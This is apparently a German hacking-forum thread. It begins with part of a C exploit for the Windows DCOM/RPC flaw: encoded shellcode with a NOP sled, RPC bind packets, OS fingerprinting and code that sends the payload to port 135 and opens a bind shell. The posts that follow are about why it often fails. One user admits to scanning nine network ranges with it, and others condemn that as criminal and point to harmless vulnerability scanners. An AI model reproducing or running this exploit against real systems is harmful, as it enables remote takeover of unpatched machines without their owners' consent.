  "\x01\x10\x08\x00\xcc\xcc\xcc\xcc\x10\x00\x00\x00\x30\x00\x2e\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x01\x10\x08\x00\xcc\xcc\xcc\xcc\x68\x00\x00\x00\x0e\x00\xff\xff"
  "\x68\x8b\x0b\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x86\x01\x00\x00\x00\x00\x00\x00\x86\x01\x00\x00\x5c\x00\x5c\x00"
  "\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
  "\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00\x46\x00\x58\x00"
  "\x46\x00\x58\x00\x9f\x75\x18\x00\xcc\xe0\xfd\x7f\xcc\xe0\xfd\x7f"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
  "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
  "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
  "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
  "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
  "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
  "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
  "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81"
  "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
  "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
  "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
  "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
  "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
  "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
  "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
  "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
  "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\x40\xa1\x1f\x4c\xd5\x24\xc5\xd3"
  "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
  "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
  "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
  "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
  "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
  "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
  "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
  "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
  "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
  "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
  "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
  "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
  "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
  "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
  "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04\x00\x5c\x00\x43\x00"
  "\x24\x00\x5c\x00\x31\x00\x32\x00\x33\x00\x34\x00\x35\x00\x36\x00"
  "\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00"
  "\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x2e\x00"
  "\x64\x00\x6f\x00\x63\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc"
  "\x20\x00\x00\x00\x30\x00\x2d\x00\x00\x00\x00\x00\x88\x2a\x0c\x00"
  "\x02\x00\x00\x00\x01\x00\x00\x00\x28\x8c\x0c\x00\x01\x00\x00\x00"
  "\x07\x00\x00\x00\x00\x00\x00\x00";

unsigned char peer0_0[] = {
0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00,
0xcc, 0x00, 0x00, 0x00, 0x84, 0x67, 0xbe, 0x18,
0x31, 0x14, 0x5c, 0x16, 0x00, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00,
0xb8, 0x4a, 0x9f, 0x4d, 0x1c, 0x7d, 0xcf, 0x11,
0x86, 0x1e, 0x00, 0x20, 0xaf, 0x6e, 0x7c, 0x57,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00,
0x02, 0x00, 0x01, 0x00, 0xa0, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00,
0x0a, 0x42, 0x24, 0x0a, 0x00, 0x17, 0x21, 0x41,
0x2e, 0x48, 0x01, 0x1d, 0x13, 0x0b, 0x04, 0x4d,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00,
0x04, 0x00, 0x01, 0x00, 0xb0, 0x01, 0x52, 0x97,
0xca, 0x59, 0xcf, 0x11, 0xa8, 0xd5, 0x00, 0xa0,
0xc9, 0x0d, 0x80, 0x51, 0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00 };

unsigned char peer0_1[] = {
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00,
0xaa, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41,
0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x05, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x28, 0x63, 0x29, 0x20,
0x75, 0x65, 0x72, 0x84, 0x20, 0x73, 0x73, 0x53,
0x20, 0x82, 0x80, 0x67, 0x00, 0x00, 0x00, 0x00,
0x80, 0x1d, 0x94, 0x5e, 0x96, 0xbf, 0xcd, 0x11,
0xb5, 0x79, 0x08, 0x00, 0x2b, 0x30, 0xbf, 0xeb,
0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x5c, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x00, 0x00,
0x41, 0x00, 0x41, 0x00, 0x5c, 0x00, 0x43, 0x00,
0x24, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x2e, 0x00,
0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00,
0x58, 0x73, 0x0b, 0x00, 0x01, 0x00, 0x00, 0x00,
0x31, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x07, 0x00 };

int main( int argc, char **argv )
{
	// vars
	// ====
	unsigned long nTargetID;
	unsigned short nTargetPort = 135; // standard TargetPort
	hostent* lpstrTargetHost;
	SOCKADDR_IN strTargetAddr;
	SOCKET sSocket;
	/* drg start */	// BindPort
	unsigned short lportl	= 666; // standard BindPort
	char lport[ 5 ]			= "\x00\xFF\xFF\x8b";
	/* drg end */
//	unsigned char buf[ 0x10000 ];
#ifdef WIN32
	WSAData wsaData;
#endif

	// banner
	// ======
	printf( "DCOM/RPC Exploits rewritten by ScriptGod\n" );
	printf( "========================================\n" );

	// get parameter
	// =============
	if( argc < 3 )
	{
		printf( "%s <TargetID> <TargetIP> [TargetPort:%i] [BindPort:%i]\n", argv[ 0 ], nTargetPort, lportl );
		ShowTargets();
		return 1;
	}
	nTargetID = atoi( argv[ 1 ] );
	if( argc >= 4 )
		nTargetPort = atoi( argv[ 3 ] );
	if( argc >= 5 )
		lportl = atoi( argv[ 4 ] );

	// target id
	// =========
	if( nTargetID > sizeof( strTargets ) / sizeof( strTargets[ 0 ] ) - 1 )
	{
		printf( "[-] uknown target '%s'\n", argv[ 1 ] );
		ShowTargets();
		return 1;
	}

	// info banner
	// ===========
	printf( "[+] Target=%s:%i Bind=%i TargetID=%i [0x%p] - %s\n", argv[ 2 ], nTargetPort, lportl, nTargetID, strTargets[ nTargetID ].nOffset, strTargets[ nTargetID ].lpszName );

	// BindPort
	// ========
	/* drg start */
	lportl = htons( lportl );
	memcpy( &lport[ 1 ], &lportl, 2 );
	*(long*)lport = *(long*)lport ^ 0x9432BF80;
	memcpy( &winshellcode[ 1351 ], &lport, 4 );
	/* drg end */

#ifdef WIN32
	// windows socket startup
	// ======================
	if( WSAStartup( MAKEWORD( 1, 1 ), &wsaData ) )
	{
		perror( "[-] WSAStartup failed" );
		return 1;
	}
#endif
	
	// lookup target
	// =============
	lpstrTargetHost = gethostbyname( argv[ 2 ] );
	if( !lpstrTargetHost )
	{
		perror( "[-] gethostbyname failed" );
		return 1;
	}
	memset( &strTargetAddr, 0, sizeof( strTargetAddr ) );
	strTargetAddr.sin_family	= AF_INET;
	strTargetAddr.sin_addr		= *( (in_addr*)lpstrTargetHost->h_addr );
	strTargetAddr.sin_port		= htons( nTargetPort );

	// AUTO TargetID
	// =============
	if( nTargetID == TARGET_AUTO )
	{
		DetectedOS eOS = DetectOS( strTargetAddr );
		if( eOS == OS_UNKNOWN )
		{
			perror( "[-] couldn't detect os" );
			return 1;
		}
		else if( eOS == OS_WINDOWS_2000 )
			nTargetID = TARGET_AUTO_2K;
		else if( eOS == OS_WINDOWS_XP )
			nTargetID = TARGET_AUTO_XP;
		else
		{
			perror( "[-] detected unknown os" );
			return 1;
		}
		printf( "[+] detected OS - using TargetID %i=%s [0x%p]\n", nTargetID, strTargets[ nTargetID ].lpszName, strTargets[ nTargetID ].nOffset );
	}

	// create socket
	// =============
	sSocket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
	if( sSocket == SOCKET_ERROR )
	{
		perror( "[-] socket failed" );
		return 1;
	}

	try
	{
		// connect
		// =======
		if( connect( sSocket, (sockaddr*)&strTargetAddr, sizeof( strTargetAddr ) ) != SOCKET_ERROR )
			throw( "[-] connect failed" );

		// copy/set offset
		// ===============
		memcpy( winshellcode + 916, (unsigned char *)&strTargets[ nTargetID ].nOffset, 4 );

		// send (1)
		// ========
		if( send( sSocket, (char*)bindstr, sizeof( bindstr ), 0 ) == SOCKET_ERROR )
			throw( "[-] send failed" );
		// recv( sSocket, (char*)buf, sizeof( buf ), 0 );
		
		// send (2)
		// ========
		if( send( sSocket, (char*)winshellcode, sizeof( winshellcode ), 0 ) == SOCKET_ERROR )
			throw( "[-] send failed" );
		// recv( sSocket, (char*)buf, sizeof( buf ), 0 );
	}
	catch( char* lpszText )
	{
		perror( lpszText );

		#ifdef WIN32
			closesocket( sSocket );
		#else
			close( sSocket );
		#endif
		
		return 1;
	}

	// close socket
	// ============
	#ifdef WIN32
		closesocket( sSocket );
	#else
		close( sSocket );
	#endif

	// instructions
	// ============
	printf( "[+] done - use netcat to connect to %s:%i", argv[ 2 ], ntohs( lportl ) );

	return 0;
}

void ShowTargets()
{
	printf( "TargetIDs:\n" );
	for( int i = 0; i < sizeof( strTargets ) / sizeof( strTargets[ 0 ] ); i++ )
		printf( "\t%i=[0x%p] - %s\n", i, strTargets[ i ].nOffset, strTargets[ i ].lpszName );
}

DetectedOS DetectOS( sockaddr_in strAddr )
{
	SOCKET sSocket;
	int l;
	char buf[ 0x10000 ] = { 0 };

	// create socket
	// =============
	sSocket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
	if( sSocket == SOCKET_ERROR )
		return OS_UNKNOWN;

	// connect
	// =======
	DetectedOS eOS = OS_UNKNOWN;
	try
	{
		if( connect( sSocket, (sockaddr*)&strAddr, sizeof( strAddr ) ) == SOCKET_ERROR )
			throw( 0 );

		// RPC os lookup
		// =============
		if( send( sSocket, (char*)peer0_0, sizeof( peer0_0 ), 0 ) == SOCKET_ERROR )
			throw( 0 );
		l = recv( sSocket, buf, sizeof( buf ), 0 );
		if( l == SOCKET_ERROR )
			throw( 0 );
		
		if( send( sSocket, (char*)peer0_1, sizeof( peer0_1 ), 0 ) == SOCKET_ERROR )
			throw( 0 );

		l = recv( sSocket, buf, sizeof( buf ),0 );
		if( l == SOCKET_ERROR )
			throw( 0 );
		else if( l == 32 )
			eOS = OS_WINDOWS_XP;
		else
			eOS = OS_WINDOWS_2000; // Win2k default - NT4 and Win2k3 not implemented
	}
	catch( int )
	{ eOS = OS_UNKNOWN; }

#ifdef WIN32
	closesocket( sSocket );
#else
	close( sSocket );
#endif

	return eOS;
}
 
teste das exploit schon länger... irgendwie scheint das ding fast nie zu funzen...
:(

hab viele ranges (9) durchlaufen lassen hat nur 2-3 mal geklappt.

kann doch net sein das das fast überall secure iss benutze das universal exploit von k-otic (compiled mit cygwin).

(eventuelle probleme bei win2k german servern :S )

vielleicht haben ja auch zu viele win 2k server :( iss ja net vulnerable glaub oder so.
 
Es funktioniert fast immer.. :)
ich weiß ned was ihr alle falsch macht =)

Ausserdem.. wer lässt bitte RANGES durchlaufen??
Das Exploit is nur für Einzelrechner,
und selbst da würd ich ned wahllos durch die Gegend nuken..
 
naja, das kann schon sein, inzwischen haben ziemlich viele den patch, drauf... und ich würd sowieso mit nem vuln-scanner scannen dann merkt du auch gleich welche du benutzen kannst. und solche die nicht gepatch sind gehen immer, egal welche sprache... zumindest bei mir ;)

des ding kann keine ranges, des ist nur en exploits für einen rechner, nur mal so am rande :P
 
Original von mAunZer
teste das exploit schon länger... irgendwie scheint das ding fast nie zu funzen...
:(

Wenn du nicht genau weisst was du da tust solltest du IMHO sowieso die Finger davon lassen. Ein paar Bytes falsch verstanden und hast mehr Aerger am Hosenbein als dir lieb ist. Lass dir gesagt sein das auch Menschen die wissen was die dort tun selbst source-exploits mit dem aeussersten Ende der Kneifzange anfassen.

hab viele ranges (9) durchlaufen lassen hat nur 2-3 mal geklappt.

kann doch net sein das das fast überall secure iss benutze das universal exploit von k-otic (compiled mit cygwin).

(eventuelle probleme bei win2k german servern :S )

vielleicht haben ja auch zu viele win 2k server :( iss ja net vulnerable glaub oder so.

Du administriert also neun Netze bzw. du hast fuer neun Netze eine schriftliche Genehmigung der administrative Vorliegen das du derartige DoS Angriffe fahren darfst, kannst aber nicht einschaetzen welche Software dort im Einsatz ist? Oder erzaehlst du uns hier nur ein bischen von deinen Straftaten?

Mit letzerem waere ich sehr vorsichtig. Zum einen gibt es da Menschen (wie mich) die verflucht sensibel reagieren koennen wenn jemand ihre Kiste aufmachen/kaputt machen/ausser Betrieb setzen moechte und anfangen rege Kommunikation mit ISPs und entsprechenden staatlichen Stellen (LKA/BKA etc) zu fuehren. Das ist kein bloeder Streich ueber den man lachen kann, sondern etwas was einen in die Situation bringen kann, sich bis zu 5 Jahren gut zu ueberlegen ob man sich nach der Seife bueckt.

Original von Ra1d3n
Ausserdem.. wer lässt bitte RANGES durchlaufen??
Das Exploit is nur für Einzelrechner,
und selbst da würd ich ned wahllos durch die Gegend nuken..

Ich kenne recht grosse Firmen die immernoch ganze Netze in der Groessenordnung Class A nach code red und aehnlichem scannen. Dies allerdings autorisiert und ohne Schadroutinen auszufuehren. Mal gucken ob mit dem W32.Blast Worm die Abloese kommt.

Zu pruefen ob die Bugfixes Sinn ergeben macht auch in Netzen und nicht nur auf einzelnen Boxen Sinn.
 
hmmm

Ich verstehe es nicht wie es sein kann!
ich habe diverse exploits kompiliert (dcom, auch die hier geposteten und noch viele andere), gedownloaded (compiled und non-compiled) und ich bin zu keinem ergebnis gekommen, habe die tools alle bei mir selber ausprobiert!
mal kommt connection refused, mal kommt couldnt connect...
gibt es denn kein exploit was wirklich mal funktioniert??

bitte um antwort, danke sehr im vorraus

mfg

mydox
 
RE: hmmm

Original von mydox
Ich verstehe es nicht wie es sein kann!
ich habe diverse exploits kompiliert (dcom, auch die hier geposteten und noch viele andere), gedownloaded (compiled und non-compiled) und ich bin zu keinem ergebnis gekommen, habe die tools alle bei mir selber ausprobiert!
mal kommt connection refused, mal kommt couldnt connect...
gibt es denn kein exploit was wirklich mal funktioniert??

bitte um antwort, danke sehr im vorraus

mfg

mydox

so dieses eplxoits FUNKTIONIERT! sorry wenn ich das so sagen musst, entweder weiß du nicht damit umzugehn, oder du versucht immer gepatchte oder solche mit firewall zu testen(zu hacken!)
aber mehr werd ich nicht in öffentliche foren sagen, ich hab eigentlich schon zu viel gesagt!
 
Ich kenne recht grosse Firmen die immernoch ganze Netze in der Groessenordnung Class A nach code red und aehnlichem scannen. Dies allerdings autorisiert und ohne Schadroutinen auszufuehren. Mal gucken ob mit dem W32.Blast Worm die Abloese kommt.

Zu pruefen ob die Bugfixes Sinn ergeben macht auch in Netzen und nicht nur auf einzelnen Boxen Sinn.
Dazu gibt es freie Tools, wie dasjenige von eEye, die keine Schadensroutine enthalten, und genau zu diesem zweck gemacht wurden.

Das was er macht ist unerantwortlich..
Wenn er nciht gerade eine universelle Adresse benutzt, hat er in 9 Netzen alle WinXP geschossen.
 
also tut das dingens auch bei win 2k server... was ich eigentlich net glaub...vor 4-5 tagen hab ich das ding per *.bat datei durchlaufen lassen und fast nichts ging
hab nur win 2k rechner rausbekommen ohne servererweiterung oder so... :/ für einen rechner (lol) bla bla.... ( firmen können net gleich 2 - 3 tage danach secure sein)
 
Original von Ra1d3n
Ich kenne recht grosse Firmen die immernoch ganze Netze in der Groessenordnung Class A nach code red und aehnlichem scannen. Dies allerdings autorisiert und ohne Schadroutinen auszufuehren. Mal gucken ob mit dem W32.Blast Worm die Abloese kommt.

Zu pruefen ob die Bugfixes Sinn ergeben macht auch in Netzen und nicht nur auf einzelnen Boxen Sinn.
Dazu gibt es freie Tools, wie dasjenige von eEye, die keine Schadensroutine enthalten, und genau zu diesem zweck gemacht wurden.

Das was er macht ist unerantwortlich..
Wenn er nciht gerade eine universelle Adresse benutzt, hat er in 9 Netzen alle WinXP geschossen.

Und genau da sind wir an dem Punkt warum ich mich aus solchen Threads bewust mit aktiver Hilfe aussen vor lasse. Leute die nicht in der Lage sind, eine Bibliothek zu linken oder einen der kleinen, bewust eingebauten Fehler, zu fixen, wissen nicht was sie dort tun und haben damit keinen reelen Grund sich mit diesen Exploits auseinanderzusetzen. Sie koennen auf entsprechende Vulnerability-Scanner zurueckgreifen die genau zu diesem Zweck exisitieren.
 
dass kannst du bezweifeln, aber es geht...
doch die können gepatcht sein der wurm hat viel dazu gebracht oder manche schalten einfach DCOM ab... es gibt auch noch welche mit ner firewall...

und vorallem solche sachen wie mit ner batch-datei, und range, ist wirklich unverantwortlich... denn du wirst kaum ne version benutz haben die das os rausfinden, geschweigeden (wie man das normalerweise mach) das os peer hand herausgefunden haben. das heißt du hast du restlichen rechner abgeschossen!!! - es gibt nicht umsonst solche vuln-scanner die keinen schaden anrichten
 
Sorry für die Störung aber habe ne Frage

Hi Leute, ich bitte um entschuldigung für mein wiederholtes Stören, aber ich habe eine wichtige Frage!
Kann es sein, dass einer von euch, vieleicht um mir zu zeigen welchen Schaden das Exploit anrichten kann, es an meinem Rechner angewendet hat? Denn nach dem ich hier gepostet habe, ist mein rechner mehrere male ohne vorwahnung abgestürzt und direkt danach wieder angegangen! so, gestern waren es 5X und heute hat mein Rechner den Geist aufgegeben, denn es wurde eine Wichtige Systemdatei( Pfad+Datei Windows root>/System32/ ntoskrnl.exe) gelöscht und mein rechner will nicht mehr Hochfahren...als der Rechner ausgegangen ist, hat der danach noch (im Check) 3 weitere male runtergefahren( par sec. blank screen) und mein BIOS war aufn Erstzustand zurückgesetzt.
Ich wollte bloss mal aus ärgernis fragen ob es einr war(was wenn es so ist sowieso der jenige nicht zugeben wird) und mich an diese stelle nochmal ganz herzlich bedanken*g* :]
Und gelernt habe ich daraus...(lasse die finger von dingen die du nicht verstehst, lerne und handle erst danach!)

mFg der_schuler
Dieser Thread soll unteranderem zur abschreeckung derjenigen Leute dienen die die Finger von diesen Exploiden nicht lassen können und noch zuwenig Ahnung haben.....blablabla...
 
RE: Sorry für die Störung aber habe ne Frage

Original von der_schuler
Kann es sein, dass einer von euch, vieleicht um mir zu zeigen welchen Schaden das Exploit anrichten kann, es an meinem Rechner angewendet hat? Denn nach dem ich hier gepostet habe, ist mein rechner mehrere male ohne vorwahnung abgestürzt und direkt danach wieder angegangen!
Ziemlich unwahrschscheinlich, da hier im Habo nur Mods/Admins deine IP einsehen können und wir diese wiederrum nicht mißbrauchen!
Wahrscheinlich hat sich MSBlaster bei dir vorgestellt -> Patchen
 
Zurück
Oben